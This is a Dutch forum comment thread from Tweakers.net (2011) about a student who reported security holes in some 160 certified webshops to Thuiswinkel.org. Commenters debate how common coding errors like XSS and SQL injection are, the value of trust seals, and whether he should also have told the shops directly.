Dan is het nog maar goed dat deze beveiligingslek in de goeie handen is gevallen. Je praat hier over webwinkels en je denkt hier veilig bestellingen te kunnen plaatsen.
"Bij CheapTickets.nl wist een hacker gegevens van 715.000 klanten te stelen."
Auch. Dat moet echt eventjes nagekeken worden.
Snap niet dat zulke grote site's zulke beginnersfouten hebben in hun code.
Iedereen weet nu toch wel een keer dat je moet escapen en afvangen etc?
Maargoed, mooi dat die het niet voor eigen gewin heeft gebruikt. Iemand zou een security check voor sites moeten ontwikkelen qua xss enzo. Gewoon alle velden en posts op een website controleren, volledig automatisch. (Geloof dat het ook wel bestaat, soms zie je wel van die buttons; checked by McAffee etc."
Iedereen weet nu toch wel een keer dat je moet escapen en afvangen etc?
Maargoed, mooi dat die het niet voor eigen gewin heeft gebruikt. Iemand zou een security check voor sites moeten ontwikkelen qua xss enzo. Gewoon alle velden en posts op een website controleren, volledig automatisch. (Geloof dat het ook wel bestaat, soms zie je wel van die buttons; checked by McAffee etc."
Lees de reacties hierboven eens door. Er komen al verschillende methoden voorbij, waarbij de een de ander aanvult en/of zelfs corrigeert. En dan gaat het hierboven voornamelijk over PHP. Dat is dus nog maar een topje van de ijsberg.
Bedenk daarbij dat veel websites uitgroeien van een hobbie-project naar een grote webshop, daar wordt niet vanaf het begin af aan professioneel aan gewerkt. Dan sluipen dit soort dingen erin.
En natuurlijk hoort dat niet, maar dat kun je niet verbieden of met een keurmerk tegenhouden. Slordig? Ja. Te voorkomen? Moeilijk.
Wat misschien wel een issue is, is wat rootpowered ook zegt, Thuiswinkel.org zou dit soort dingen ook kunnen testen. Al komt dan het probleem: Hoe ver moet Thuiswinkel.org gaan? Als ze alleen SQL-injecties testen, komt er dalijk een bericht dat veel websites op verouderde server-software draaien.
Bedenk daarbij dat veel websites uitgroeien van een hobbie-project naar een grote webshop, daar wordt niet vanaf het begin af aan professioneel aan gewerkt. Dan sluipen dit soort dingen erin.
En natuurlijk hoort dat niet, maar dat kun je niet verbieden of met een keurmerk tegenhouden. Slordig? Ja. Te voorkomen? Moeilijk.
Wat misschien wel een issue is, is wat rootpowered ook zegt, Thuiswinkel.org zou dit soort dingen ook kunnen testen. Al komt dan het probleem: Hoe ver moet Thuiswinkel.org gaan? Als ze alleen SQL-injecties testen, komt er dalijk een bericht dat veel websites op verouderde server-software draaien.
Het is en het blijft nog steeds jammer dat er zo veel software lek is. Het is natuurlijk belangrijk voor bedrijven om geld te verdienen. Alleen jammer dat ze dit niet goed genoeg testen als ze het uitbrengen.
Enige wat ik een beetje jammer vind is dat hij alleen gemeld heeft aan de stichting thuiswinkel.org. Was wel netjes geweest om dit daarnaast ook aan de webwinkels zelf te melden om ze de mogelijkheid te geven dit nu al aan te pakken.
Thuiswinkel.org heeft dit weer doorgemeld aan de betreffende webshops.
Puur uit het oogpunt van de hoevelheid werk die het iemand oplevert om persoonlijk contact op te nemen met 160 verschillende beheerders, snap ik dat hij gekozen heeft om centraal naar de stichting thuiswinkel te gaan.
De stichting thuiswinkel zal als het goed is contactgegevens hebben voor al deze websites en vermodelijk ook wat meer mankracht. Daar komt nog bij dat de beheerders een mailtje/telefoontje van de stichting thuiswinkel een stuk serieuzer nemen dan een mailtje van een of andere student. Stiching thuiswinkel heeft namelijk een grote stok achter de deur dat ze het keurmerk voor de betreffende site kunnen intrekken indien er geen adequatte actie ondernomen word. Een veel beter stok achter de deur dan "anders maak ik het prubliekelijk bekend" wat de enige optie van de student is om druk te zetten.
De stichting thuiswinkel zal als het goed is contactgegevens hebben voor al deze websites en vermodelijk ook wat meer mankracht. Daar komt nog bij dat de beheerders een mailtje/telefoontje van de stichting thuiswinkel een stuk serieuzer nemen dan een mailtje van een of andere student. Stiching thuiswinkel heeft namelijk een grote stok achter de deur dat ze het keurmerk voor de betreffende site kunnen intrekken indien er geen adequatte actie ondernomen word. Een veel beter stok achter de deur dan "anders maak ik het prubliekelijk bekend" wat de enige optie van de student is om druk te zetten.
Ik zeg ook niet dat hij het niet aan thuiswinkel.org had moeten melden meer dat een berichtje naar de webwinkel op zijn plaats is.
Tuurlijk kost dit wat tijd maar het controleren van 1200 winkels op beveiligings lekken gaat ook tijd in zitten.
Tuurlijk kost dit wat tijd maar het controleren van 1200 winkels op beveiligings lekken gaat ook tijd in zitten.
Dat is wat makkelijker te scripten dan bij 160 winkels uitzoeken wat voor adres ze gebruiken
160 Winkels contacteren en de antwoorden/uitgaande berichten per winkel apart te houden is 20x meer werk.Ik zeg ook niet dat hij het niet aan thuiswinkel.org had moeten melden meer dat een berichtje naar de webwinkel op zijn plaats is.
Ook zou dat dus meer tijd kosten, terwijl je juist wilt dat er snel wordt opgetreden.
[Reactie gewijzigd door kimborntobewild op donderdag 3 november 2011 12:35]
Goed om te zien dat er hardwerkende studenten zijn die dit soort problemen aan het licht brengen. Daar kan het keurmerk zelf nog het een en ander van opsteken. Tenminste, het lijkt mij dat ze dit zelf toch met enige regelmaat zouden moeten controleren? Puik werk van Heesen! 
Edit:
Ben trouwens wel benieuwd of dit soort lekker consumenten ertoe aanzetten om minder in webshops te kopen, en weer meer in "echte" winkels. Daar heb je tenminste weinig kans dat je gegevens bloot komen te liggen voor kwaadwillenden. Het zou interessant zijn als iemand hier onderzoek naar deed.
Edit:
Ben trouwens wel benieuwd of dit soort lekker consumenten ertoe aanzetten om minder in webshops te kopen, en weer meer in "echte" winkels. Daar heb je tenminste weinig kans dat je gegevens bloot komen te liggen voor kwaadwillenden. Het zou interessant zijn als iemand hier onderzoek naar deed.
[Reactie gewijzigd door Auroram op donderdag 3 november 2011 09:16]
Die keurmerken slaan helemaal nergens op, als ze nu ook nog eens echt je website onderhanden nemen om vulnerabilities op te sporen, maar nee ze incasseren liever het geld en daarvoor doen ze een paar checks op het zicht.
Kan je net zo goed direct je geld verbranden dan je zuurverdiende geld aan zulke organisaties te geven, die achterlijke prijzen vragen voor een 'keurmerk' logo op je website..
Kan je net zo goed direct je geld verbranden dan je zuurverdiende geld aan zulke organisaties te geven, die achterlijke prijzen vragen voor een 'keurmerk' logo op je website..
Snap niet waarom sommigen negatief hierop reageren. Dit moet juist toegejuicht worden. Deze jongen zorgt dat je gegevens veiliger worden, doordat waarschijnlijk deze 160 webwinkels dit probleem op gaan lossen.
De overheid geeft straks 300.000 euro uit aan een nieuwe website, wat ik belachelijk vindt. Maar dit soort dingen zullen dan niet mogelijk zijn verwacht ik.
De overheid geeft straks 300.000 euro uit aan een nieuwe website, wat ik belachelijk vindt. Maar dit soort dingen zullen dan niet mogelijk zijn verwacht ik.
Op dit item kan niet meer gereageerd worden.
Populair: Tablets Samsung Websites en communities Mobiele telefoons Google Apple Microsoft Sony Games Politiek en recht
© 1998 - 2013 Tweakers.net B.V. Contact Over Tweakers Jouw privacy Algemene voorwaarden Cookies
Tweakers wordt uitgegeven door De Persgroep en wordt gehost door True
